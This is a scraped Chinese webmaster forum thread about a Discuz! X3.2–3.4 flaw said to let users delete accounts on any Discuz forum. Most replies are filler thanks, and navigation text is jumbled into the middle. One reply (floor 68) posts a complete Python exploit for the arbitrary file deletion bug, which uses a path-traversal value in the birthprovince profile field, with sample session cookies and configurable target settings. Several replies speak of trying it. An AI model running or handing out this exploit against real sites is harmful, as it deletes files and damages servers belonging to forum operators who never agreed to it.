Discuz!X3.4 X3.3 X3.2永久删除你在任何DZ论坛的帐号漏洞-站长窝

2核1G3M服务器88一季度

腾讯云，阿里云百度云等折扣价→点我←

Discuz!X3.4 X3.3 X3.2永久删除你在任何DZ论坛的帐号漏洞 discuz 交流

游客1 游客组

温馨提示：

首先感谢您莅临站长窝,有任何宝贵意见欢迎反馈！

帖子如有遇到:图片不显示，附件不存在，解压密码不正确，等各种问题！请联系QQ：3535510005

QQ群：960474828

站长窝论坛版权声明 1、本帖标题：Discuz!X3.4 X3.3 X3.2永久删除你在任何DZ论坛的帐号漏洞
2、论坛网址：站长窝论坛
3、站长窝论坛的资源部分来源于网络，如有侵权，请联系站长进行删除处理。
4、会员发帖仅代表会员个人观点，并不代表本站赞同其观点和对其真实性负责。
5、站长窝论坛一律禁止以任何方式发布或转载任何违法的相关信息，访客发现请向站长举报
6、本帖由游客1在站长窝论坛《程序综合区》版块原创发布，转载请注明出处！

最新回复 (186)

最新最早只看楼主

yrkjssg 一级用户组

引用 2楼

好帖子顶一个

2018-3-8 只看Ta 回复
不曾止步三级用户组

引用 3楼

果然厉害

2018-3-13 只看Ta 回复
夜泊康桥一级用户组

引用 4楼

厉害了，老铁

2018-3-26 只看Ta 回复
小七50 一级用户组

引用 5楼

啦啦啦啦啦啦啦

2018-4-3 只看Ta 回复
微笑、纯属礼貌一级用户组

引用 6楼

好帖顶一个看看

2018-4-8 只看Ta 回复
时光依然一级用户组

引用 7楼

这么厉害的操作。。

2018-4-9 只看Ta 回复
DarkDog 一级用户组

引用 8楼

大叔大婶多无大所

2018-4-11 只看Ta 回复
刹那芳华二级用户组

引用 9楼

这么狠。。。{:18:}

2018-4-12 只看Ta 回复
Linn 一级用户组

引用 10楼

谢谢分享哦

2018-4-13 只看Ta 回复
再见夕阳一级用户组

引用 11楼

Discuz!X3.4 X3.3 X3.2永久删除你在任何DZ论坛的帐号漏洞

2018-4-17 只看Ta 回复
乖宝宝一级用户组

引用 12楼

厉害了

2018-4-19 只看Ta 回复
敏感字有点多一级用户组

引用 13楼

关键是如何修复漏洞呢？

2018-4-21 只看Ta 回复
量使用一级用户组

引用 14楼

谢谢分享哦

2018-4-23 只看Ta 回复
风林火山sdsd 一级用户组

引用 15楼

沙发上发生的发生的

2018-4-27 只看Ta 回复
xdsxds 一级用户组

引用 16楼

啊啊啊啊啊啊啊啊啊啊啊啊阿啊啊啊

2018-4-29 只看Ta 回复
东软吴彦祖一级用户组

引用 17楼

我来看看嫩嗯嗯嗯呢呢

2018-5-2 只看Ta 回复
frehc 二级用户组

引用 18楼

感谢楼主分享好人一生平安

2018-5-4 只看Ta 回复
ForDream 一级用户组

引用 19楼

zczcz在此次错错错

2018-5-4 只看Ta 回复
與孒偕佬一级用户组

引用 20楼

6666,看看好用不....

2018-5-5 只看Ta 回复
观心一级用户组

引用 21楼

厉害:Q:lol:loveliness:

2018-5-5 只看Ta 回复
ywy198463 一级用户组

引用 22楼

这个要学习一下了

2018-5-6 只看Ta 回复
网客会员一级用户组

引用 23楼

正好试试。谢谢楼主

2018-5-8 只看Ta 回复
海盗123 一级用户组

引用 24楼

还有这种漏洞啊

2018-5-10 只看Ta 回复
快乐哈哈一级用户组

引用 25楼

看看是怎么回事，好好学习一下！

2018-5-11 只看Ta 回复
456网赚官方认证一级用户组

引用 26楼

RE: Discuz!X3.4 X3.3 X3.2永久删除你在任何DZ论坛的帐号漏洞 [修改]

2018-5-15 只看Ta 回复
游客游客组

引用 27楼

我看看。。

2018-5-16 只看Ta 回复
祭奠吶逝去的青春一级用户组

引用 28楼

台湾手套

2018-5-18 只看Ta 回复
哈哈刘一级用户组

引用 29楼

看看....

2018-5-19 只看Ta 回复
songdaxia 一级用户组

引用 30楼

过来看看。

2018-5-23 只看Ta 回复
23423242342 一级用户组

引用 31楼

好帖顶一个看看

2018-6-5 只看Ta 回复
张扬12 一级用户组

引用 32楼

学习了

2018-6-6 只看Ta 回复
Daemon 一级用户组

引用 33楼

RE: Discuz!X3.4 X3.3 X3.2永久删除你在任何DZ论坛的帐号漏洞 [修改]

2018-6-6 只看Ta 回复
wusejason 一级用户组

引用 34楼

厉害了看看这么狠

2018-6-8 只看Ta 回复
Henry 一级用户组

引用 35楼

奈斯很不错呐

2018-6-8 只看Ta 回复
你说地方一级用户组

引用 36楼

测试112233

2018-6-11 只看Ta 回复
悠扬一级用户组

引用 37楼

厉害了

2018-6-12 只看Ta 回复
嘘~~~听一级用户组

引用 38楼

了LL连连看

2018-6-13 只看Ta 回复
梦羽一级用户组

引用 39楼

很强...:D

2018-6-18 只看Ta 回复
Mr_杰先生一级用户组

引用 40楼

顶顶顶顶顶顶顶顶顶顶顶顶顶的顶顶顶顶顶多多多

2018-6-18 只看Ta 回复
Goop 一级用户组

引用 41楼

真的好厉害

2018-6-23 只看Ta 回复
阿浪丰厚的一级用户组

引用 42楼

阿浪丰厚的

2018-6-25 只看Ta 回复
cnn 一级用户组

引用 43楼

discuz！框架的漏洞还真的多

2018-6-26 只看Ta 回复
封去一级用户组

引用 44楼

可以牛逼666

2018-6-27 只看Ta 回复
小小峰一级用户组

引用 45楼

我来看一下是什么

2018-6-27 只看Ta 回复
遗忘啊一级用户组

引用 46楼

挺厉害的，学习一下

2018-7-3 只看Ta 回复
小老头小一级用户组

引用 47楼

好东西，我看看哈

2018-7-3 只看Ta 回复
游客游客组

引用 48楼

Discuz!X3.4 X3.3 X3.2永久删除你在任何DZ论坛的帐号漏洞

2018-7-5 只看Ta 回复
qingduyuwo 一级用户组

引用 49楼

法国梵蒂冈地方官梵蒂冈是

2018-7-6 只看Ta 回复
别客一级用户组

引用 50楼

必须过来看看

2018-7-6 只看Ta 回复
老虎爱吃肉三级用户组

引用 51楼

Discuz!X3.4 X3.3 X3.2永久删除你在任何DZ论坛的帐号漏洞 [修改]

2018-7-7 只看Ta 回复
安全电影一级用户组

引用 52楼

感觉很厉害啊，看看是什么情况。

2018-7-10 只看Ta 回复
cgs106 一级用户组

引用 53楼

这个应该被修复了吧

2018-7-10 只看Ta 回复
谈网一级用户组

引用 54楼

谢谢分析,搂住

2018-7-10 只看Ta 回复
90508 一级用户组

引用 55楼

谢谢lz

2018-7-11 只看Ta 回复
高宇鹏-硬之城信息技术一级用户组

引用 56楼

看下咋回事安居客附近撒货到公益免费接撒的和

2018-7-11 只看Ta 回复
豪杰兄一级用户组

引用 57楼

学习一下学习一下看有用没

2018-7-11 只看Ta 回复
夏虫一级用户组

引用 58楼

谢谢分享，查看一下漏洞

2018-7-12 只看Ta 回复
夏霞遐一级用户组

引用 59楼

好强的样子我看看

2018-7-12 只看Ta 回复
小胡军一级用户组

引用 60楼

看看什么BUG漏洞。

2018-7-14 只看Ta 回复
administrator32 一级用户组

引用 61楼

感谢，看看

2018-7-15 只看Ta 回复
习远平总书记一级用户组

引用 62楼

萨芬的GV水电费感受到过十多个

2018-7-18 只看Ta 回复
天马行空dffdf 一级用户组

引用 63楼

不错。谢谢

2018-7-18 只看Ta 回复
零點一级用户组

引用 64楼

的点点滴滴

2018-7-19 只看Ta 回复
啦啦啦test 一级用户组

引用 65楼

来看看看看，学习

2018-7-19 只看Ta 回复
啦啦啦test 一级用户组

引用 66楼

aaaa啊啊啊啊

2018-7-19 只看Ta 回复
974970545 一级用户组

引用 67楼

[修改]
高级模式
BColorImageLinkQuoteCodeSmilies

本版积分规则参与/回复主题
974970545设置新浪微博登陆绑定百度帐户通知(1)快捷导航退出收藏本站登录记录资源库资料库
站长窝
123

帖子
请输入搜索内容

首页综合资源开通赞助(ViP)每日更新热门下载最新模板应用中心
论坛任务每日签到宣传赚币个人中心空间动态精彩淘帖兴趣群组我的收藏排行榜领取勋章邀请注册
站长窝»首页›站长交流专区›站长头条›Discuz!X3.4 X3.3 X3.2永久删除你在任何DZ论坛的帐号漏 ...
国内真正的高防服务器远程图片本地化自动 v1.0.5 - DZ建站学习研究分享 · 插件专业开源[1314]IT618威客插件5.1版安装问题小说阅读器专业版9.9.4 还更新吗长篇的采集不了建网站应该选择什么样的服务器？热度[柒瑞]开放式竞猜 ver2.6 带手机触屏版 Ver：V2.0--------下载地址[柒瑞]开放式竞猜 ver2.6 带手机触屏版 Ver：V2.0 DZ建站学习研究分享 · 插件MIP改造推送seo 推送失败 / 错误码:Quota free微信公众号流量变现——了解一下2018年7月19日站长窝签到记录贴远程图片本地化自动 v1.0.4 - DZ建站学习研究分享 · 插件专业开源[1314]SEO超级伪静态 V3.6.8 高级版 - DZ建站学习研究分享 · 插件专业开源[1314][1314]首页N格 V2.8.8 - DZ建站学习研究分享 · 插件专业开源[1314]申请更新视频课堂直播点播高级教育版v4.3.3 DZ建站学习研究分享请问有没有志愿者模板或者源码啊N5城市门户系列-V9 导入DIY文件的问题淘宝客导购小程序1.0 集淘宝、京东、拼多多三位一体的返利导购小程序人才网站源码PHP云人才招聘系统V4.5版,新模板+新手机端大气界面非常不错技术员联盟Ghost Win8.1 32位装机版V2018.07
国内真正的高防服务器远程图片本地化自动 v1.0.5 - DZ建站学习研究分享 · 插件专业开源[1314]IT618威客插件5.1版安装问题小说阅读器专业版9.9.4 还更新吗长篇的采集不了建网站应该选择什么样的服务器？热度[柒瑞]开放式竞猜 ver2.6 带手机触屏版 Ver：V2.0--------下载地址[柒瑞]开放式竞猜 ver2.6 带手机触屏版 Ver：V2.0 DZ建站学习研究分享 · 插件MIP改造推送seo 推送失败 / 错误码:Quota free微信公众号流量变现——了解一下2018年7月19日站长窝签到记录贴远程图片本地化自动 v1.0.4 - DZ建站学习研究分享 · 插件专业开源[1314]SEO超级伪静态 V3.6.8 高级版 - DZ建站学习研究分享 · 插件专业开源[1314][1314]首页N格 V2.8.8 - DZ建站学习研究分享 · 插件专业开源[1314]申请更新视频课堂直播点播高级教育版v4.3.3 DZ建站学习研究分享请问有没有志愿者模板或者源码啊N5城市门户系列-V9 导入DIY文件的问题淘宝客导购小程序1.0 集淘宝、京东、拼多多三位一体的返利导购小程序人才网站源码PHP云人才招聘系统V4.5版,新模板+新手机端大气界面非常不错技术员联盟Ghost Win8.1 32位装机版V2018.07
站长窝建站学习手册发布站长窝Discuz开发资料库发布站长窝 - Discuz! 应用研发动态关于站长窝贡献币与积分的详细说明，请点击查看详情!
友链交换平台建站学习研究资源分享白皮书发布请各位站长窝会员加强账户安全，加紧验证邮箱! 本站已启用备用域名:www.cgzz8.com (请收藏备用!)
1234567
1
/ 7 页下一页
返回列表发新帖回复
Discuz!X3.4 X3.3 X3.2永久删除你在任何DZ论坛的帐号漏洞
查看: 4069|回复: 65
打印上一主题下一主题 Discuz!X3.4 X3.3 X3.2永久删除你在任何DZ论坛的帐号漏洞 [复制链接]
民审-M

3794
主题
8045
热度
7340
贡献
民审

2018-7-19 只看Ta 回复
momoxiao 一级用户组

引用 68楼

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import re
import urllib2

‘‘‘
Discuz!X ≤3.4 任意文件删除漏洞
Write by Aaron
‘‘‘

def get_cookie():
cookies={}
for line in raw_cookies.split(‘;‘):
key,value=line.split(‘=‘,1)
cookies[key]=value
return cookies
def get_formhash(url):
cookies=get_cookie()
testurl=url+"/home.php?mod=spacecp"
s=requests.get(testurl,cookies=cookies)
com = re.compile(‘<input type="hidden" name="formhash" value="(.*?)" />‘)
result = com.findall(s.text)
return result[0]
def del_step1(url,filename):
headers={‘User-Agent‘:‘Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0‘}
geturl=url+"/home.php?mod=spacecp&ac=profile&op=base"
formhash=get_formhash(url)
payload ={‘birthprovince‘:filename,"profilesubmit":1,"formhash":formhash}
cookies=get_cookie()
r = requests.post(geturl,data=payload,headers=headers,cookies=cookies)
if r.content.find(‘parent.show_success‘)>0:
print ‘Step1 success!!!‘
def del_step2(url):
geturl=url+"/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"
heads={‘User-Agent‘:‘Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0‘}
formhash=get_formhash(url)
files ={‘formhash‘:(None,formhash),‘birthprovince‘:(‘1.jpg‘,open(‘1.jpg‘,‘rb‘),‘image/jpeg‘),‘profilesubmit‘:(None,‘1‘)}
cookies=get_cookie()
r=requests.post(geturl,files=files,headers=heads,cookies=cookies)
if r.text.find(‘parent.show_success‘)>0:
print ‘Step2 success!!!‘

if __name__ == ‘__main__‘:
#需要修改以下三个参数：
#1、设置cookie
raw_cookies="G2pl_2132_sid=sKKQZK; G2pl_2132_saltkey=Sz3Zk9qK; G2pl_2132_lastvisit=1506772875; G2pl_2132_lastact=1506779386%09home.php%09spacecp; G2pl_2132_seccode=7.aa0407e77fa5c31c1b; G2pl_2132__refer=%252Fhome.php%253Fmod%253Dspacecp%2526ac%253Dprofile%2526op%253Dbase; G2pl_2132_ulastactivity=d085JjIjS5HiG3obxleJQuw0zNYpIN60OXJV0J6di%2B8aFmKQ4u6l; G2pl_2132_auth=86c5F09hGuaZuGNPSX7Pr7Oy4Mq2B39nSviv%2FRFC8vdn1Zjb9PibvU2fN4jJr9Hr7yVNf2vH9rIXrSLWhMZk; G2pl_2132_nofavfid=1; G2pl_2132_sendmail=1; G2pl_2132_noticeTitle=1"
#2、设置删除的文件
filename="../../../111.txt"
#3、设置url
url="http://127.0.0.1"
del_step1(url,filename)
del_step2(url)

2018-7-20 只看Ta 回复
帕克一级用户组

引用 69楼

蟹蟹楼楼的分享

2018-7-23 只看Ta 回复
刘印同学一级用户组

引用 70楼

看看这个东西是怎么玩的的。

2018-7-24 只看Ta 回复
sureapple 一级用户组

引用 71楼

真的大家厉害

2018-7-24 只看Ta 回复
三体一级用户组

引用 72楼

厉害里哈厉害

2018-7-25 只看Ta 回复
早说啊一级用户组

引用 73楼

尝试一下

2018-7-26 只看Ta 回复
开大嘴一级用户组

引用 74楼

哇，这也行吗？

2018-7-26 只看Ta 回复
流浪的风一级用户组

引用 75楼

支持了，看看

2018-7-27 只看Ta 回复
魂淡淡一级用户组

引用 76楼

看眼，需哦写了

2018-7-27 只看Ta 回复
aiyucheng 一级用户组

引用 77楼

;Pdas阿三的地方范德萨

2018-7-28 只看Ta 回复
hmm1313133 一级用户组

引用 78楼

看看，顶一个

2018-7-31 只看Ta 回复
Tis 一级用户组

引用 79楼

厉害了！！！！！！1

2018-8-1 只看Ta 回复
爱死你一级用户组

引用 80楼

按时大苏打

2018-8-2 只看Ta 回复
fzfe001 一级用户组

引用 81楼

是什么好东西,值得我看!

2018-8-3 只看Ta 回复
淘淘1245 一级用户组

引用 82楼

Discuz!X3.4 X3.3 X3.2永久删除你在任何DZ论坛的帐号漏洞 [修改]

2018-8-3 只看Ta 回复
神话暗黑一级用户组

引用 83楼

我想看看有没有这个漏洞

2018-8-4 只看Ta 回复
不知所云一级用户组

引用 84楼

感谢楼主的分享....

2018-8-4 只看Ta 回复
ヅ寶0oゞ氣ぃ一级用户组

引用 85楼

发酵理论雕刻家发克拉加速度离开飞机安卡拉圣诞节发绿卡水浇地了罚款就

2018-8-5 只看Ta 回复
网站者一级用户组

引用 86楼

先评论再说

2018-8-6 只看Ta 回复
网站者一级用户组

引用 87楼

刚操作过了我现在过来看来有没有删除

2018-8-6 只看Ta 回复
JKM123566 一级用户组

引用 88楼

膜拜大佬

2018-8-7 只看Ta 回复
荒荒之路一级用户组

引用 89楼

学习的路太多

2018-8-7 只看Ta 回复
逆旅一级用户组

引用 90楼

RE: Discuz!X3.4 X3.3 X3.2永久删除你在任何DZ论坛的帐号漏洞 [修改]

2018-8-8 只看Ta 回复
一一颗赛艇一级用户组

引用 91楼

历害了老铁

2018-8-8 只看Ta 回复
帝君一级用户组

引用 92楼

看一看好不好用

2018-8-9 只看Ta 回复
seek◎lost 一级用户组

引用 93楼

永久删除你在任何DZ论坛的帐号漏洞 [

2018-8-10 只看Ta 回复
小嘀咕垃圾一级用户组

引用 94楼

2会不会玩了？支援呢？人呢？会不会支援一下啊

2018-8-10 只看Ta 回复
cacheyu 一级用户组

引用 95楼

厉害厉害

2018-8-10 只看Ta 回复
五路财神一级用户组

引用 96楼

看看看看看看

2018-8-11 只看Ta 回复
游客游客组

引用 97楼

看看啊，不催啊啊..

2018-8-12 只看Ta 回复
游客游客组

引用 98楼

牛逼厉害，谢谢分享

2018-8-13 只看Ta 回复
游客游客组

引用 99楼

太溜了厉害

2018-8-13 只看Ta 回复
游客游客组

引用 100楼

谢谢大神呀哈哈哈

2018-8-13 只看Ta 回复

发新帖

游客1

主题数
4876

帖子数
11296

精华数
0

注册排名
88

作者最近主题